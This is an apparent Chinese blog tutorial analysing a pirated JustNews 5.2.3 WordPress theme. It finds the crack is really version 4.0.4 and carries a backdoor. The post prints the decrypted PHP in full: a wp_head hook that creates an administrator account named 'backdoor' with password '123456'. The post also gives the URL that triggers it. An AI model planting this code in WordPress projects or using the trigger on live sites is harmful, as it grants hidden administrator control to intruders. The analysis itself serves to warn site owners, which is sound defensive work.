技术教程:网传justnews 5.2.3破解版后门分析

搜刮好东西分享简介:今日从网上下载了网友分享的justnews 5.2.3,我们用D盾来扫描下,这里看到有2个可疑文件。

技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第1张

技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第2张技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第3张技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第4张

functions.php文件解密后再48-61行发现后门代码(如何解密?请看以前搜刮分享的文章《杂谈:优秀的php解密网站和工具网站推荐 干货》)

add_action(‘wp_head’, ‘wp_backdoor’);

function wp_backdoor()

{

  if (

    md5($_GET[‘backdoor’]) == ’34d1f91fb2e514b8576fab1a75a89a6b’

  ) {

    require(‘wp-includes/registration.php’);

    if (!username_exists(‘backdoor’)) {

      $user_id = wp_create_user(‘backdoor’, ‘123456’);

      $user = new WP_User($user_id);

      $user->set_role(‘administrator’);

    }

  }

}

这里连backdoor这么明显的后门变量命名都不改。这个后门出现在很多网络中流传的热门wordpress主题内,如ripro等,所以对于网络中流传的主题,大家可以下载下来研究学习,如果要运营建议还是买正版,放心安全。

使用http(s)://你的域名/?backdoor=go访问,

自动创建用户名为backdoor密码为123456的管理员账户

技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第5张

panel.php文件解密后在285-289行发现一段加密代码

$ops = ‘Y2FlOWYyOGNlODljMDZmYWNjZjg4YWFjZDE3MDc0MTZleUprYjIxaGFXNGlPaUozZDNjdWFHOXZibVYzY3k1dVpYUWlMQ0oyWlhKemFXOXVJam9pTkM0d0xqUWlMQ0p3YkhWbmFXNGlPbHQ3SW01aGJXVWlPaUpYVUMxUWIzTjBWbWxsZDNNaUxDSnpiSFZuSWpvaWQzQXRjRzl6ZEhacFpYZHpJaXdpY21WeGRXbHlaV1FpT21aaGJITmxmVjBzSW1SbGJXOGlPbHQ3SW1sdGNHOXlkRjltYVd4bFgyNWhiV1VpT2lKS2RYTjBUbVYzY3lJc0ltTmhkR1ZuYjNKcFpYTWlPbnNpWkNJNklseDFPV1ZrT0Z4MU9HSmhOQ0o5TENKcGJYQnZjblJmWm1sc1pWOTFjbXdpT2lKb2RIUndPbHd2WEM5M2QzY3VkM0JqYjIwdVkyNWNMMlJ2ZDI1Y0wzQnNkV2RwYmkxbWFXeGxjMXd2WkdWdGIzTmNMMnAxYzNSdVpYZHpYQzlxZFhOMGJtVjNjeTU0Yld3aUxDSnBiWEJ2Y25SZmIzQjBhVzl1YzE5bWFXeGxYM1Z5YkNJNkltaDBkSEE2WEM5Y0wzZDNkeTUzY0dOdmJTNWpibHd2Wkc5M2Jsd3ZjR3gxWjJsdUxXWnBiR1Z6WEM5a1pXMXZjMXd2YW5WemRHNWxkM05jTDJwMWMzUnVaWGR6TG1wemIyNGlMQ0pwYlhCdmNuUmZibTkwYVdObElqb2lYSFUxWW1aalhIVTFNVFkxWEhVMU5EQmxYSFUxTWpBMlhIVTNZemRpU1VSY2RUTXdNREZjZFRrNE56VmNkVGszTmpKSlJGeDFOVE5sWmx4MU9EQm1aRngxTkdZeFlWeDFOVE5rT0Z4MU5UTXhObHgxWm1Zd1kxeDFOR1k0WWx4MU5UazRNbHgxTnpVeU9GeDFOakl6TjF4MU56Wm1PRngxTlRFM00xeDFPVGczTlZ4MU9UYzJNbHgxTlRObFpseDFPREJtWkZ4MU9UY3dNRngxT0RrNE1WeDFPVEZqWkZ4MU5qVmlNRngxTlRJek1DQmNkVFJsTTJKY2RUazRPVGhjZFRoaVltVmNkVGRtTm1VK1hIVTNOVEk0WEhVMk1qTTNYSFUwWlRKa1hIVTFabU16SUZ4MU5HVXdZbHgxT1RjMk1seDFPR0ppWlZ4MU4yWTJaU0o5WFN3aWNtVnhkV2x5WlhNaU9sc2lWME1pWFgwPQ==’;

      $ops = base64_decode($ops);

      $token = ‘$P$BcGrBU7tfwMR8kZlKzS1OonWpmDU0Y.’;

      $ops = base64_decode(str_replace(md5($token), ”, $ops));

      $this->_extras = json_decode($ops);

先base64解密(base64_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作用等同于删除

技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第6张

得到

eyJkb21haW4iOiJ3d3cuaG9vbmV3cy5uZXQiLCJ2ZXJzaW9uIjoiNC4wLjQiLCJwbHVnaW4iOlt7Im5hbWUiOiJXUC1Qb3N0Vmlld3MiLCJzbHVnIjoid3AtcG9zdHZpZXdzIiwicmVxdWlyZWQiOmZhbHNlfV0sImRlbW8iOlt7ImltcG9ydF9maWxlX25hbWUiOiJKdXN0TmV3cyIsImNhdGVnb3JpZXMiOnsiZCI6Ilx1OWVkOFx1OGJhNCJ9LCJpbXBvcnRfZmlsZV91cmwiOiJodHRwOlwvXC93d3cud3Bjb20uY25cL2Rvd25cL3BsdWdpbi1maWxlc1wvZGVtb3NcL2p1c3RuZXdzXC9qdXN0bmV3cy54bWwiLCJpbXBvcnRfb3B0aW9uc19maWxlX3VybCI6Imh0dHA6XC9cL3d3dy53cGNvbS5jblwvZG93blwvcGx1Z2luLWZpbGVzXC9kZW1vc1wvanVzdG5ld3NcL2p1c3RuZXdzLmpzb24iLCJpbXBvcnRfbm90aWNlIjoiXHU1YmZjXHU1MTY1XHU1NDBlXHU1MjA2XHU3YzdiSURcdTMwMDFcdTk4NzVcdTk3NjJJRFx1NTNlZlx1ODBmZFx1NGYxYVx1NTNkOFx1NTMxNlx1ZmYwY1x1NGY4Ylx1NTk4Mlx1NzUyOFx1NjIzN1x1NzZmOFx1NTE3M1x1OTg3NVx1OTc2Mlx1NTNlZlx1ODBmZFx1OTcwMFx1ODk4MVx1OTFjZFx1NjViMFx1NTIzMCBcdTRlM2JcdTk4OThcdThiYmVcdTdmNmU+XHU3NTI4XHU2MjM3XHU0ZTJkXHU1ZmMzIFx1NGUwYlx1OTc2Mlx1OGJiZVx1N2Y2ZSJ9XSwicmVxdWlyZXMiOlsiV0MiXX0=

再base64解密得到

{“domain”:”www.hoonews.net”,”version”:”4.0.4″,”plugin”:[{“name”:”WP-PostViews”,”slug”:”wp-postviews”,”required”:false}],”demo”:[{“import_file_name”:”JustNews”,”categories”:{“d”:”\\u9ed8\\u8ba4″},”import_file_url”:”http:\\/\\/www.wpcom.cn\\/down\\/plugin-files\\/demos\\/justnews\\/justnews.xml”,”import_options_file_url”:”http:\\/\\/www.wpcom.cn\\/down\\/plugin-files\\/demos\\/justnews\\/justnews.json”,”import_notice”:”\\u5bfc\\u5165\\u540e\\u5206\\u7c7bID\\u3001\\u9875\\u9762ID\\u53ef\\u80fd\\u4f1a\\u53d8\\u5316\\uff0c\\u4f8b\\u5982\\u7528\\u6237\\u76f8\\u5173\\u9875\\u9762\\u53ef\\u80fd\\u9700\\u8981\\u91cd\\u65b0\\u5230 \\u4e3b\\u9898\\u8bbe\\u7f6e>\\u7528\\u6237\\u4e2d\\u5fc3 \\u4e0b\\u9762\\u8bbe\\u7f6e”}],”requires”:[“WC”]}

将unicode替换成中文

{“domain”:”www.hoonews.net”,”version”:”4.0.4″,”plugin”:[{“name”:”WP-PostViews”,”slug”:”wp-postviews”,”required”:false}],”demo”:[{“import_file_name”:”JustNews”,”categories”:{“d”:”默认”},”import_file_url”:”http:\\/\\/www.wpcom.cn\\/down\\/plugin-files\\/demos\\/justnews\\/justnews.xml”,”import_options_file_url”:”http:\\/\\/www.wpcom.cn\\/down\\/plugin-files\\/demos\\/justnews\\/justnews.json”,”import_notice”:”导入后分类ID、页面ID可能会变化,例如用户相关页面可能需要重新到 主题设置>用户中心 下面设置”}],”requires”:[“WC”]}

可以看出这个所谓的justnews 5.2.3破解版,其实本来是4.0.4破解版(由www.hoonews.net传播)而且还被加了后门。

PS: 在此提醒一下用破解版的诸位,D盾并不能扫描出像这种专门针对WordPress的后门

D盾对我而言其实主要用来检测加密文件和查杀低级的木马,高级一点的其实很容易绕过查杀。

所以不要以为用D盾扫一下发现没有报毒就万事无忧了,而且作者真的要针对盗版还是比较容易的。

比如justnews激活就会将域名发到http://www.wpcom.cn/authentication/,ripro会将设置域名之类的信息发到vip.ylit.cc。

之前不是说ripro盗版收款收到别人账户上去了吗?是盗版传播者做的,还是其他人做的?细思极恐!

技术教程:网传justnews 5.2.3破解版后门分析 wordpress教程 第7张

wordpress教程

技术教程:纯代码免插件实现WordPress添加主题演示功能

2020-10-30 7:52:49

wordpress教程

WordPress主题:Ripro6.3子主题 全站美化包 美化后台功能二开版

2020-10-30 7:52:51

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索
  客服QQ:169403068